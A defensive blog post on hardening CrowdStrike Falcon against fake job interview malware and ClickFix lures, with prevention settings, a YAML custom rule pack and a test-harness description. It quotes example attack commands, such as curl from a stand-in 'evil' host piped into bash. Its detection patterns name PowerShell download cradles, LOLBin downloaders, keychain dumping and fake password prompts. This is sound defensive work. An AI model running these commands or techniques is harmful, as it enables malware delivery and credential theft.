CrowdStrike Falcon EDR Rules That Stop Fake Job Interview Malware and ClickFix Attacks

CrowdStrike Falcon EDR Rules That Stop Fake Job Interview Malware and ClickFix Attacks

๐Ÿ‘1views

Stop fake job interview malware and ClickFix attacks in CrowdStrike Falcon by tightening the prevention policy first, then adding custom IOA rules. Enable aggressive machine learning, script inspection and quarantine, and add process creation rules that kill downloaders launched from explorer.exe, hidden or encoded PowerShell, and download cradles.

CrowdStrike Falcon EDR Rules That Stop Fake Job Interview Malware and ClickFix AttacksAndrew Baker's Technology Blog Posts, 02/Dec/2026
https://andrewbaker.ninja/2026/12/02/crowdstrike-falcon-edr-rules-that-stop-fake-job-interview-malware-and-clickfix-attacks/

Article Summary
  • 1.
    What it is
    CrowdStrike Falcon EDR rules for stopping fake job interview malware and ClickFix attacks on end user laptops, organised by risk. It covers the attacker behaviour, the Falcon controls that apply, and the custom IOA rules to add on top of the defaults.
  • 2.
    Why it matters
    Awareness training alone is not enough because newer lures swap the clipboard contents, so even a careful user reads the wrong command. EDR rules that watch the process tree catch the behaviour even when the user is fooled.
  • 3.
    Key takeaway
    The user can be fooled, but the process tree cannot.
7,836 words ยท ~40 min read

There is a growing wave of attacks that start with a job interview. The candidate joins what looks like a normal video call, finds that their camera or microphone does not work, and is helpfully sent a command to paste into their laptop to install a missing “audio driver” or “camera fix”. The command does exactly what you would expect a malicious command to do, which is reach out to the internet, pull down a payload and try to call home. When these attacks fail, it is rarely because the user spotted the trick; it is because an endpoint detection and response (EDR) rule recognised the behaviour, killed it and contained the laptop before anything useful left the building.

This post is the rule set I would want in place if I was running CrowdStrike Falcon on end user laptops today. It is organised by risk rather than by product menu, because the attackers are not thinking about your console layout; they are thinking about which steps of their kill chain you have forgotten to watch. For each risk I explain what the attacker is doing, which Falcon controls apply, and the custom indicator of attack (IOA) rules I would add on top of what CrowdStrike ships by default.

1. Why this wave of attacks is different

The fake interview lure is not new. North Korean operators have been running it for years under names like Contagious Interview and Operation Dream Job, and the current variant, which Sekoia named ClickFake Interview, assessed with high confidence to be a continuation of that same Lazarus linked activity. The mechanics are simple: a recruiter reaches out on LinkedIn or X, the candidate is invited to a convincing interview or “skills assessment” site, and when they try to turn on their camera or microphone the site reports a driver problem and tells them to open Command Prompt, PowerShell or Terminal and run a fix.

Two things make this harder to defend with awareness training alone. The first is that the most recent versions swap the clipboard: SOCRadar’s July 2026 analysis describes a page that shows a harmless looking driver update command, but replaces what the victim copies with something else entirely, so even a careful user who reads the command before pasting it is reading the wrong thing. The second is scale. ClickFix as a technique has spread well beyond North Korea. Microsoft’s 2025 Digital Defense Report found it behind 47% of the initial access methods in the incidents its Defender Experts team notified customers about, ahead of phishing at 35%; that is Microsoft’s own incident sample rather than a global figure, but it shows how quickly the technique has taken over. CrowdStrike’s own 2026 write up describes ClickFix as one of the fastest growing initial access techniques it sees, used by both criminal groups and state actors, and MITRE ATT&CK now tracks it as its own technique, T1204.004 Malicious Copy and Paste.

The good news is that every one of these lures has to do the same small set of things on the endpoint, and that is exactly where EDR earns its keep. The user can be fooled, and while the process tree is not infallible evidence (parent processes can be spoofed, and some activity never creates a new process at all), it is a great deal harder to talk into anything than a person is.

%%{init: {'theme':'base','themeVariables':{'primaryColor':'#1e3a5f','primaryTextColor':'#ffffff','primaryBorderColor':'#93c5fd','lineColor':'#cbd5e1','secondaryColor':'#7f1d1d','tertiaryColor':'#14532d','fontSize':'15px'}}}%%
flowchart LR
    A[Fake recruiter<br/>and interview site] --> B[User pastes<br/>a command]
    B --> C[Downloader runs<br/>PowerShell, curl, mshta]
    C --> D[Payload lands<br/>in user space]
    D --> E[Persistence<br/>Run key, LaunchAgent]
    D --> F[Call home<br/>to C2]
    F --> G[Credential and<br/>wallet theft]
    B -.-> R1[Risk 1 and 2 rules]
    C -.-> R2[Risk 3 rules]
    D -.-> R3[Risk 4 and 5 rules]
    E -.-> R4[Risk 6 rules]
    F -.-> R5[Risk 7 rules]
    G -.-> R6[Risk 8 controls]
    style R1 fill:#14532d,color:#ffffff,stroke:#86efac
    style R2 fill:#14532d,color:#ffffff,stroke:#86efac
    style R3 fill:#14532d,color:#ffffff,stroke:#86efac
    style R4 fill:#14532d,color:#ffffff,stroke:#86efac
    style R5 fill:#14532d,color:#ffffff,stroke:#86efac
    style R6 fill:#14532d,color:#ffffff,stroke:#86efac

1.1 What recent incidents tell us

The public incident record over the last year makes the case for endpoint controls better than any vendor brochure, because it shows both outcomes: attacks stopped on the endpoint and attacks that got through because the endpoint was not doing its job.

The clearest example of the first is a case Huntress published in October 2026. A user at a mining and natural resources company pasted a ClickFix command into the Run dialog that used the built in finger.exe utility to fetch its next stage and a for /f loop to execute whatever came back, with no file ever written to disk. Because behavioural disruption was running in enforce mode, the agent killed four processes in the chain in about 1.25 seconds, before the remote content returned, and when the user pasted the same command five more times between 18:07 and 18:53, every attempt was killed on arrival. That is the outcome this post is designed to give you: a fooled user and a non event.

The second outcome is just as instructive. Sophos described how a fake recruitment coding test reached one of its own employees: a command hidden in the VS Code workspace settings ran when a terminal opened on the employee’s Mac, and within two minutes the BeaverTail loader and InvisibleFerret backdoor were running. The endpoint agent on that Mac was broken, and SophosLabs later confirmed the first script dropped was already detected by its own product, so a working agent would have stopped the chain. The device had still passed identity and device management compliance checks, and the gap only became visible when Sophos joined sign in data with endpoint telemetry. The same post recounts that Binance’s reported $6.3 billion theft began with a fake job interview, that the attacker replaced the pyenv component of the engineer’s Homebrew installation, and that Binance says its endpoint tools did not detect it.

The scale is now documented by governments rather than vendors. A joint advisory published on 18 September 2026 by Japan’s National Police Agency and National Cybersecurity Office, the FBI, the US Department of Defense Cyber Crime Center and Australian and German agencies found that the group it calls WaterPlum, better known as Contagious Interview, infected at least 30,000 devices in more than 100 countries between December 2025 and July 2026 and took funds or credentials from over 7,000 cryptocurrency wallets. CrowdStrike reports the same lure reaching banks: in July 2026 it observed an actor it tracks as STARDUST CHOLLIMA very likely targeting an employee at a financial services entity through a fake video conferencing site, a fake technical issue and a “fix” command that launched a PowerShell and VBScript chain delivering two previously unknown malware families, GeniexLoader and GeniexRAT. And signatures are not the answer on their own: Elastic Security Labs found a Contagious Interview variant that hid its malware inside SVG images in a fake coding challenge, and reported that not one antivirus vendor caught it.

Three lessons run through all of this. Behavioural rules running in enforce mode stop these chains in seconds; detection alone leaves you with an incident to clean up. A sensor that is broken, missing or on the wrong policy is invisible to compliance tooling and protects nothing, so sensor health has to be tested as deliberately as the rules. And developer tooling, from Homebrew to VS Code tasks to npm packages, is now a primary delivery route rather than an edge case.

2. Start with the prevention policy, because custom rules cannot see everything

Before writing a single custom rule, it is worth understanding what custom IOAs can and cannot see, because that determines where the built in prevention policy has to carry the load. Falcon custom IOAs come in four rule types: process creation, file creation, network connection and domain name. They match regular expressions against fields such as the image filename, the command line, the parent and grandparent process, file paths, remote IP addresses and ports. There is no custom rule type for registry writes or for file reads, and Falcon does not log registry value data, which means the classic ClickFix artefact of a suspicious entry in the RunMRU key is something you cannot write a custom rule against directly.

There is a subtler gap as well. If a user pastes a PowerShell one liner into a PowerShell window that is already open, the malicious commands execute inside that existing process, and no new process with an incriminating command line is ever created. A process creation rule will never fire on that. What catches it is the script inspection built into the prevention policy, which sees the script content itself as it executes.

So the first and cheapest step is to create a dedicated prevention policy for end user laptops and turn the dials up. Console labels shift slightly between sensor versions, so the table below gives the setting as it appears in the console alongside its name in CrowdStrike’s own Terraform provider, which is the most precise public reference for what each setting does. These are the settings I would want on for general staff Windows laptops.

SettingAPI / Terraform nameRecommendationWhy it matters for these lures
Cloud machine learning anti malwarecloud_anti_malwareAggressive for detection and prevention, rolled out in stagesCatches known and lookalike payloads while the host is online
Sensor machine learning anti malwaresensor_anti_malwareAggressive for detection and preventionAnalyses unknown executables on the host, including when it is offline
Cloud based anomalous process executioncloud_based_anomalous_process_executionAggressive detectionAI driven IOAs for suspicious living off the land behaviour
Interpreter Onlyinterpreter_onlyOnPowerShell interpreter visibility; prerequisite for the settings below
Engine (Full Visibility)engine_full_visibilityOnSees malicious PowerShell engine use, including pastes into a window that is already open
Script Based Execution Monitoringscript_based_execution_monitoringOnInspects script content and Office macros, which no command line rule can see
Suspicious Scripts and Commandssuspicious_scripts_and_commandsOnBlocks the scripts and commands CrowdStrike classifies as malicious
Suspicious Processesprevent_suspicious_processesOnBlocks processes matching CrowdStrike’s own dynamic IOAs
Suspicious Registry Operationssuspicious_registry_operationsOnCovers Run keys and other autostart locations that custom IOAs cannot see
Intelligence Sourced Threatsintelligence_sourced_threatsOnBlocks hashes CrowdStrike Intelligence has attributed to these actors
JavaScript via Rundll32javascript_via_rundll32OnStops a classic living off the land execution trick
Drive by Downloaddrive_by_downloadOnBlocks files written by the browser that then try to execute
Additional User Mode Data, Credential Dumping, Code Injectionadditional_user_mode_data, credential_dumping, code_injectionOnStops the credential theft and injection that follow a successful lure
Memory Scanningmemory_scanningOnCatches payloads that never touch disk
Driver Load Prevention, Vulnerable Driver Protectiondriver_load_prevention, vulnerable_driver_protectionOnBlocks bring your own vulnerable driver (BYOVD) attempts to kill the sensor
Sensor Tampering Protectionsensor_tampering_protectionOn, everywhere, without exceptionAn attacker who can stop the sensor does not need to evade anything else
Quarantine and Security Center Registration, Detect and Quarantine on Writequarantine_and_security_center_registration, detect_on_write, quarantine_on_writeOnRemoves payloads as they land rather than when they run
On Write Script File Visibilityon_write_script_file_visibilityOnVisibility into scripts as they are written to disk
Upload Unknown Executablesupload_unknown_executables, upload_unknown_detection_related_executablesOn, unless data residency rules prevent itGives the cloud a chance to analyse first seen payloads
Notify End Usersnotify_end_usersOnUsers see that something was blocked, which is your best prompt for them to report the “interviewer”

On macOS the equivalent policy should have the cloud and sensor machine learning sliders at Aggressive, and script_based_execution_monitoring, prevent_suspicious_processes, intelligence_sourced_threats, quarantine, quarantine_on_write, sensor_tampering_protection and enhanced_network_visibility all on, together with hash_collector and kc_password_decoded, which block attempts to dump a user’s hashed password or recover it from the kcpassword file. Separately, make sure the sensor update policy has uninstall protection enabled, so the sensor cannot be removed without a maintenance token.

Aggressive machine learning settings do cost false positives, so roll them out the way you would any other change: test them against your own line of business software on a pilot group, then widen in stages. Engineering laptops can sit in a separate policy one notch lower on the machine learning sliders if their false positive rate demands it, but general staff should not.

3. Risk one: paste and run on Windows

This is the core ClickFix move. The victim presses Windows key and R, pastes, and presses Enter, or opens a terminal and does the same. Because the Run dialog is hosted by Explorer, the resulting process has explorer.exe as its parent and carries the full pasted command on its command line, which makes this the most reliable signal in the whole chain. Ordinary users almost never launch PowerShell from the Run dialog with a URL in the arguments.

RuleTypeLogicAction
Run dialog launches a downloaderProcess creationParent explorer.exe; image is powershell, pwsh, cmd, mshta, curl, msiexec, conhost, wscript or cscript; command line contains a URL or a download or execute primitiveKill process
Hidden or encoded PowerShellProcess creationImage powershell or pwsh; command line contains an encoded command switch or a hidden window styleDetect, then kill once tuned
PowerShell download cradleProcess creationCommand line contains Invoke-WebRequest, iwr, irm, DownloadString, DownloadFile or FromBase64String together with iex or Invoke-ExpressionKill process
Headless console launches a downloaderProcess creationImage conhost.exe with --headless followed by PowerShell, cmd, mshta or curl, a newer way of hiding the window a pasted command opensKill process

The first rule is the one that catches the classic audio driver lure, and for general staff I am comfortable running it in kill mode from early on. IT support and engineering will trip it occasionally, which is why those people belong in separate host groups with their own rule group assignments rather than as a pile of exclusions on the main rule.

4. Risk two: paste and run on macOS

The macOS version of the lure asks the victim to open Terminal and paste something, typically either /bin/bash -c "$(curl -fsSL https://...)" or a curl command piped into a shell. One recent variant, written up by MalwareTips in September 2026, used exactly that pattern dressed up as a microphone fix during a fake interview.

There is a detail here that trips up a lot of detection engineering. When a user types curl https://evil | bash into an interactive shell, the shell splits the pipeline into two sibling processes: curl with the URL, and bash with no arguments at all, reading its script from standard input. Neither process carries the whole picture on its command line, so a rule looking for “curl piped to bash” in a single command line will never match. You have to detect each half on its own terms.

RuleTypeLogicAction
Shell executes a curl or wget downloadProcess creationImage /bin/bash, /bin/zsh or /bin/sh; command line contains -c with curl or wget and a URLKill process for general staff, detect for engineering
Bare shell reading from a pipeProcess creationImage is a shell; parent is a shell; command line is just the shell name, optionally with -sDetect
Gatekeeper quarantine removedProcess creationImage /usr/bin/xattr; command line deletes or clears com.apple.quarantineKill process
Fake password promptProcess creationImage /usr/bin/osascript; command line contains display dialog together with hidden answer or the word passwordKill process
AppleScript shell executionProcess creationImage osascript; command line contains do shell script and curlDetect
Encoded payload piped into a shellProcess creationImage is a shell; command line decodes base64 and pipes the result into another shellKill process

The quarantine and password prompt rules deserve a special mention because they catch the second stage rather than the lure. Stripping the quarantine attribute is how a downloaded binary gets past Gatekeeper, and an AppleScript dialog asking for the user’s password is the standard way macOS infostealers obtain the credentials they need to unlock the keychain. Legitimate software has very little reason to do either.

5. Risk three: living off the land binaries used as downloaders

Not every lure uses PowerShell. A lot of them use living off the land binaries (LOLBins), which are signed Windows tools that happen to be able to fetch or execute remote content. Attackers like them because they are trusted, present on every machine and often ignored. For general staff almost none of these uses are legitimate.

RuleTypeLogicAction
mshta runs remote or inline scriptProcess creationImage mshta.exe with a URL, javascript: or vbscript: in the command lineKill process
certutil as a downloaderProcess creationImage certutil.exe with -urlcache, -verifyctl or -decodeKill process
bitsadmin transferProcess creationImage bitsadmin.exe with /transferKill process
msiexec installing from a URLProcess creationImage msiexec.exe with a URL in the command lineKill process
regsvr32 remote scriptletProcess creationImage regsvr32.exe with /i: followed by a URLKill process
rundll32 from a user writable pathProcess creationImage rundll32.exe; command line references Downloads, AppData, Temp or ProgramDataDetect
curl downloads into a user writable folderProcess creationImage curl.exe with -o or --output pointing into Downloads, AppData or TempDetect
WMIC process creationProcess creationImage wmic.exe with process call createDetect

6. Risk four: script interpreters running payloads from user space

Once the downloader has run, the payload usually needs an interpreter. ClickFake Interview has delivered the GolangGhost and PylangGhost remote access trojans (RATs), Gen Digital documented a fake NVIDIA driver lure that used a VBS script to launch an embedded Python environment, and the developer focused Contagious Interview variants have long relied on Node.js packages inside “take home coding tests”. What these have in common is an interpreter or unsigned binary running from somewhere a normal installer would never put it.

RuleTypeLogicAction
Interpreter running from user space (Windows)Process creationImage path for python, pythonw or node sits under Downloads, AppData or TempKill process for general staff, detect for engineering
Script host running downloaded scriptProcess creationImage wscript or cscript; command line references a .vbs, .js or .jse file in Downloads, AppData or TempKill process
Interpreter running from user space (macOS)Process creationImage path for python3 or node sits under ~/Downloads, /tmp or /private/tmpDetect
Make executable in a temp locationProcess creationImage chmod with +x on a path in Downloads, /tmp or ~/LibraryDetect
Developer tool spawns a download commandProcess creationA shell, PowerShell or curl launched by Node, VS Code, Cursor or Python (as parent on macOS, usually grandparent on Windows) with a download in the command lineDetect

The engineering split matters most here. A developer running a Node project from their Downloads folder is normal; a finance analyst doing the same is not, and the rule should reflect who is sitting at the keyboard. That does not mean exempting engineers. Run the rule in detect mode for the engineering host group rather than switching it off, and keep their exceptions as narrow as the specific tools and paths they need.

Developer laptops also need protecting from their own tools. Microsoft’s analysis of Contagious Interview describes repositories whose VS Code task configuration fetches the backdoor as soon as the user trusts the folder, and recommends running coding tests in a disposable virtual machine rather than on a corporate workstation, restricting scripting runtimes where possible, and blocking developer tools from running out of Downloads and temporary folders. In VS Code itself, keep Workspace Trust switched on, because Restricted Mode stops tasks, terminals and debugging running in an untrusted folder, and push "task.allowAutomaticTasks": "off" through your managed settings so a tasks.json marked to run on folder open cannot fire by itself. GitLab’s write up of its own controls is a good model for the detection side: it alerts on background subprocesses launched by the editor that show a curl piped into a shell pattern, rather than on every task, and reports no false positives despite most of the company using VS Code daily.

7. Risk five: unapproved software and package managers

This is the category the original question was really about: people being talked into installing things they should not have, whether that is Homebrew, a random “codec”, or a remote access tool so the friendly interviewer can “help fix the audio”. The cleanest answer is application control rather than EDR, and I will come back to that in section 11, but Falcon can still give you useful coverage.

RuleTypeLogicAction
Remote access tool launched outside ITProcess creationImage name matches AnyDesk, TeamViewer, ScreenConnect, RustDesk, Splashtop, Atera or similar, on hosts outside the IT support groupKill process
Homebrew installer on a non engineering MacProcess creationShell command line contains the Homebrew install script URLKill process (already covered by the macOS shell download rule)
Package manager use outside engineeringProcess creationImage brew, winget or choco on general staff hostsDetect

The remote access tool rule is the one I would prioritise. A lot of these scams escalate from “run this command” to “let me take control and fix it for you”, and once an attacker has an interactive session on a laptop the game changes completely.

8. Risk six: persistence

Malware that wants to survive a reboot has a short list of places to go. On macOS the overwhelming favourite is a LaunchAgent plist in the user’s Library folder; on Windows it is the Startup folder, a Run key or a scheduled task. Because custom IOAs cannot watch the registry directly, Run keys written by malware in process fall to the built in Suspicious Registry Operations setting, but a Run key written through reg.exe shows up as a process and can be caught, and the rest are coverable.

RuleTypeLogicAction
LaunchAgent written by a script or downloaderFile creationFile path under ~/Library/LaunchAgents/ ending .plist; writing image is curl, a shell, python3, node or osascriptBlock file creation
Startup folder written by a script hostFile creationFile path under Start Menu\Programs\Startup; writing image is powershell, wscript, cscript, mshta or cmdBlock file creation
Scheduled task created by a scriptProcess creationImage schtasks.exe with /create; parent is PowerShell or a script host; command line references AppData or TempDetect
Run key written from the command lineProcess creationImage reg.exe with add and a CurrentVersion\Run or RunOnce keyDetect

9. Risk seven: calling home

Everything above is about stopping the payload from running. This layer is about noticing when one gets through and tries to reach its command and control (C2) server. Network connection rules are noisier than process rules, so I tend to run these in detect mode and use them as supporting signals for the response automation in section 10. Be realistic about what a port tells you: most modern C2 runs over 443 precisely so that rules like these miss it. The signal that matters is which process is talking and to where, so combine these rules with destination reputation, newly registered domain data and the process lineage from the earlier sections rather than relying on the port alone.

RuleTypeLogicAction
Interpreter talking to a raw IPNetwork connectionImage is PowerShell, Python, Node, curl or a script host; remote address is an IP that never resolved from DNSDetect
Interpreter on an unusual portNetwork connectionSame images; remote port is not 80 or 443Detect
Known lure infrastructureDomain nameDomains from threat intelligence on these campaignsBlock

For the last row, Falcon’s indicator of compromise (IOC) management is usually a better home than a custom IOA, because you can push domains and IPs from your intelligence feed with a block action and an expiry date rather than hand editing regular expressions.

10. Risk eight: credential and wallet theft, and why speed matters

The final stage of most of these campaigns is theft: browser passwords and cookies, keychain contents, and cryptocurrency wallet data. This is the hardest stage to write custom rules for, because Falcon has no custom rule type for file reads, so the coverage here comes from the built in machine learning and CrowdStrike’s own behavioural IOAs, plus a couple of process rules that do work.

RuleTypeLogicAction
Keychain secret queryProcess creationImage /usr/bin/security; command line contains dump-keychain, or find-generic-password or find-internet-password with -wDetect

Two configuration changes reduce what there is to steal. Stop browsers storing passwords at all through the PasswordManagerEnabled policy that both Chrome and Edge support, and keep credentials in a managed password manager instead. And seed test laptops with canary credentials, such as fake cloud keys that raise an alert when they are used, so you find out if anything on the endpoint reads them.

The practical lesson is that you want the earlier layers to fire, and you want the response to be faster than the attacker’s exfiltration.

The most effective response is automatic: the detection contains the laptop without waiting for a human. In Falcon this is a Falcon Fusion security orchestration, automation and response (SOAR) workflow. Trigger it on a new endpoint detection, filter to your interview lure rule group and anything at high severity or above, and have it network contain the host, open a ticket and page the on call analyst. Containment cuts the device off from everything except the Falcon cloud, so the analyst can still investigate and lift it remotely. For general staff laptops I think automatic containment on these specific rules is the right trade; a false positive costs someone twenty minutes, while a missed true positive can cost their session cookies for every system they use.

11. Controls outside the EDR that make the rules easier

EDR is the safety net, not the first line. A handful of configuration changes remove most of the attack surface these lures depend on, and they make the custom rules much quieter.

Removing local administrator rights from general staff is the single biggest win, because it stops most installers and most persistence outside the user profile. Disabling the Run dialog for non IT staff through Group Policy kills the Win and R route outright, and PowerShell Constrained Language Mode blunts the download cradles that do get through. On Windows, application allowlisting through Windows Defender Application Control (WDAC) or AppLocker stops unsigned binaries running from user writable paths regardless of how they arrived. On macOS, your mobile device management (MDM) platform should block unapproved package installs and keep Gatekeeper enforced, and an allowlisting agent such as Santa covers the gap that Falcon does not. Finally, Domain Name System (DNS) filtering that blocks newly registered domains is extremely effective against these campaigns, because the lure sites are routinely only days old.

Microsoft’s own ClickFix guidance is a useful checklist for the Windows side: remove the Run option through the “Remove Run menu from Start Menu” policy under User Configuration, Administrative Templates, Start Menu and Taskbar; use App Control to stop native binaries such as PowerShell being launched from Run; configure Windows Terminal to warn when pasted text spans multiple lines; enable PowerShell script block logging; and set PowerShell execution policy to AllSigned or RemoteSigned. Removing the Run dialog is not as disruptive as it sounds; Huntress now offers exactly this as a per user control precisely because so few users need it.

12. Rolling it out without drowning the SOC

Put all of these custom rules into a single rule group named for the threat, so the Fusion workflow and your reporting can key off it. Split your estate into at least three host groups, general staff, engineering and IT, and assign rule groups accordingly rather than building exclusions into individual rules. Run everything in detect mode for one to two weeks, review the hits in Advanced Event Search, tune the regular expressions, then switch the high confidence rules to kill or block. Keep the rule definitions in version control and push them through the Falcon API, so changes are reviewed like any other code.

Below is the rule pack as a reference specification. Falcon does not import this file directly; it is the source of truth you enter in the console or push through the API. Regular expressions in custom IOAs match against the whole field, so partial matches are wrapped in .*.

cat > falcon-interview-lure-ioas.yaml << 'EOF'
rule_group: Interview Lures and ClickFix
notes: >
  Patterns match the whole field, so partial matches are wrapped in .*
  Check whether your tenant evaluates them case insensitively and prefix with (?i) if not.
  Start every rule in Detect, then move proven rules to Kill or Block.

windows:
  - name: Run dialog launches a downloader
    type: process_creation
    parent_image: '.*\\explorer\.exe'
    image: '.*\\(powershell|pwsh|cmd|mshta|curl|msiexec|conhost|wscript|cscript)\.exe'
    command_line: '.*(https?://|iwr|irm|iex|invoke-webrequest|invoke-restmethod|invoke-expression|downloadstring|downloadfile|frombase64string).*'
    action: kill_process
  - name: Hidden or encoded PowerShell
    type: process_creation
    image: '.*\\(powershell|pwsh)\.exe'
    command_line: '.*\s-(e|ec|enc|enco|encodedcommand)\s.*|.*\s-(w|windowstyle)\s+h(idden)?\b.*'
    action: detect
  - name: PowerShell download cradle
    type: process_creation
    image: '.*\\(powershell|pwsh)\.exe'
    command_line: '.*(iwr|irm|invoke-webrequest|invoke-restmethod|downloadstring|downloadfile|frombase64string).*(iex|invoke-expression).*'
    action: kill_process
  - name: mshta runs remote or inline script
    type: process_creation
    image: '.*\\mshta\.exe'
    command_line: '.*(https?://|javascript:|vbscript:).*'
    action: kill_process
  - name: certutil as a downloader
    type: process_creation
    image: '.*\\certutil\.exe'
    command_line: '.*(-urlcache|-verifyctl|-decode).*'
    action: kill_process
  - name: bitsadmin transfer
    type: process_creation
    image: '.*\\bitsadmin\.exe'
    command_line: '.*/transfer.*'
    action: kill_process
  - name: msiexec installing from a URL
    type: process_creation
    image: '.*\\msiexec\.exe'
    command_line: '.*https?://.*'
    action: kill_process
  - name: regsvr32 remote scriptlet
    type: process_creation
    image: '.*\\regsvr32\.exe'
    command_line: '.*/i:\s*https?://.*'
    action: kill_process
  - name: Interpreter running from user space
    type: process_creation
    image: '.*\\users\\[^\\]+\\(downloads|appdata\\local\\temp|appdata\\roaming)\\(.*\\)?(python|pythonw|node)\.exe'
    action: kill_process
    host_groups_detect_only: [engineering]
  - name: Script host running downloaded script
    type: process_creation
    image: '.*\\(wscript|cscript)\.exe'
    command_line: '.*\\(downloads|temp|appdata)\\.*\.(vbs|js|jse|wsf).*'
    action: kill_process
  - name: Remote access tool outside IT
    type: process_creation
    image: '.*\\(anydesk|teamviewer|screenconnect\.client|rustdesk|splashtop[^\\]*|atera[^\\]*)\.exe'
    action: kill_process
    host_groups_allow_approved_tool_only: [it_support]
  - name: Startup folder written by a script host
    type: file_creation
    file_path: '.*\\start menu\\programs\\startup\\.*'
    image: '.*\\(powershell|pwsh|wscript|cscript|mshta|cmd)\.exe'
    action: block
  - name: Scheduled task created by a script
    type: process_creation
    parent_image: '.*\\(powershell|pwsh|wscript|cscript|mshta)\.exe'
    image: '.*\\schtasks\.exe'
    command_line: '.*/create.*\\(appdata|temp|downloads)\\.*'
    action: detect
  - name: Headless console launches a downloader
    type: process_creation
    image: '.*\\conhost\.exe'
    command_line: '.*--headless.*(powershell|pwsh|cmd|mshta|curl).*'
    action: kill_process
  - name: curl downloads into a user writable folder
    type: process_creation
    image: '.*\\curl\.exe'
    command_line: '.*\s(-o|--output)\s.*\\(appdata|temp|downloads)\\.*'
    action: detect
  - name: rundll32 from a user writable path
    type: process_creation
    image: '.*\\rundll32\.exe'
    command_line: '.*\\(users\\[^\\]+\\(downloads|appdata)|windows\\temp|programdata)\\.*'
    action: detect
  - name: WMIC process creation
    type: process_creation
    image: '.*\\wmic\.exe'
    command_line: '.*process\s+call\s+create.*'
    action: detect
  - name: Run key written from the command line
    type: process_creation
    image: '.*\\reg\.exe'
    command_line: '.*\sadd\s.*\\currentversion\\run(once)?\b.*'
    action: detect
  - name: Developer tool spawns a download command
    type: process_creation
    grandparent_image: '.*\\(node|code|cursor|python)\.exe'
    image: '.*\\(powershell|pwsh|cmd|curl)\.exe'
    command_line: '.*(https?://|iwr|irm|invoke-webrequest|downloadstring|curl).*'
    action: detect
    notes: Add a second copy keyed on parent_image, because some tools launch the shell directly.
  - name: Interpreter connects on an unusual port
    type: network_connection
    image: '.*\\(powershell|pwsh|python|pythonw|node|wscript|cscript|mshta)\.exe'
    remote_port: any except 80 and 443
    action: detect

macos:
  - name: Shell executes a curl or wget download
    type: process_creation
    image: '/bin/(ba|z)?sh'
    command_line: '.*\s-c\s.*(curl|wget).*https?://.*'
    action: kill_process
    host_groups_detect_only: [engineering]
  - name: Bare shell reading from a pipe
    type: process_creation
    parent_image: '/bin/(ba|z)?sh'
    image: '/bin/(ba|z)?sh'
    command_line: '(/bin/)?(ba|z)?sh(\s+-s)?\s*'
    action: detect
  - name: Gatekeeper quarantine removed
    type: process_creation
    image: '/usr/bin/xattr'
    command_line: '.*(\s-r?dr?\s+com\.apple\.quarantine|\s-r?cr?\s).*'
    action: kill_process
  - name: Fake password prompt
    type: process_creation
    image: '/usr/bin/osascript'
    command_line: '.*display dialog.*(hidden answer|password).*'
    action: kill_process
  - name: AppleScript shell execution
    type: process_creation
    image: '/usr/bin/osascript'
    command_line: '.*do shell script.*(curl|wget).*'
    action: detect
  - name: Interpreter running from user space
    type: process_creation
    image: '(/Users/[^/]+/Downloads|/tmp|/private/tmp)/.*(python3?|node)'
    action: detect
  - name: Make executable in a temp location
    type: process_creation
    image: '/bin/chmod'
    command_line: '.*\+x.*(/tmp/|/private/tmp/|/Users/[^/]+/(Downloads|Library)/).*'
    action: detect
  - name: LaunchAgent written by a script or downloader
    type: file_creation
    file_path: '/Users/[^/]+/Library/LaunchAgents/.*\.plist'
    image: '.*/(curl|bash|zsh|sh|python3?|node|osascript)'
    action: block
  - name: Encoded payload piped into a shell
    type: process_creation
    image: '/bin/(ba|z)?sh'
    command_line: '.*base64\s+(-d|-D|--decode).*\|\s*(/bin/)?(ba|z)?sh.*'
    action: kill_process
  - name: Keychain secret query
    type: process_creation
    image: '/usr/bin/security'
    command_line: '.*(dump-keychain|find-(generic|internet)-password.*\s-w).*'
    action: detect
  - name: Developer tool spawns a download command
    type: process_creation
    parent_image: '.*/(node|spawn-helper|Code Helper[^/]*|Cursor Helper[^/]*|python3?)'
    image: '/bin/(ba|z)?sh'
    command_line: '.*(curl|wget).*'
    action: detect
  - name: Interpreter connects on an unusual port
    type: network_connection
    image: '.*/(curl|python3?|node|osascript)'
    remote_port: any except 80 and 443
    action: detect
EOF
chmod 644 falcon-interview-lure-ioas.yaml

13. Prove it: a scored EDR test harness

Rules that have never fired are rules you hope work, and hope is not a control. This section gives you two test sets, one for Windows and one for macOS, that you run on a test machine to prove the state of your defences, score them out of 100, and print a prioritised list of what to fix. Each attack test imitates the shape of one technique closely enough to match the rules in this post, but does nothing harmful: downloads fetch example.com and throw the result away, the “remote access tool” is a renamed copy of the Windows hostname utility, the LaunchAgent is an empty placeholder that is never loaded, and every file written is a small text marker that the script deletes when it finishes. Between them the two scripts run 23 attack tests on Windows and 14 on macOS, covering every rule in this post plus the built in protections that no custom rule can replace, such as inspecting the content of a script file and noticing a non browser process copying the browser’s password database. If you only have time to run one security test this quarter, make it this one.

Before any test runs, each script checks that the Falcon sensor is actually running and stops if it is not, then prints the host name so you can confirm in the console that the machine sits in the host group and prevention policy you think it does. That check exists because of the Sophos incident in section 1.1: a broken sensor on a device that passes every compliance check is the most expensive gap of all, because nothing else in this post can work without it.

The most important design decision is what counts as proof. The endpoint can only see whether a test finished or was stopped, and a test can be stopped by plenty of things that are not your EDR: a missing permission, an execution error, another security product or a flaky network. So the harness never awards points on what it observes by itself. Every scored test ends in one of four outcomes. PREVENTED means the test was stopped and Falcon recorded that it stopped it. DETECTED means Falcon raised an alert but the activity was allowed to run. MISSED means you checked the console and Falcon recorded nothing. INCONCLUSIVE means the evidence is not in yet, or it contradicts itself, such as a test that was stopped with no record in Falcon of why, or one the console says was prevented that nevertheless finished.

The workflow follows from that. Run the script once and every test starts as INCONCLUSIVE, with a ceiling showing the best score the evidence could support. Then search Falcon for EDRTEST on the test host; every test carries that tag and its ID in its command line, file name or URL wherever the technique allows, with the encoded PowerShell test the deliberate exception, so match that one by time. Note which tests Falcon prevented and which it only detected, then rerun the script with that evidence and the reviewed flag, which tells the harness you have checked the console and that anything still without evidence should be scored as missed. The tests are harmless and take about a minute, so a rerun is cheaper than maintaining a separate scoring step. Pulling this evidence automatically from the Falcon alerts API is the obvious next improvement, and it is what I would build before putting the harness on a schedule.

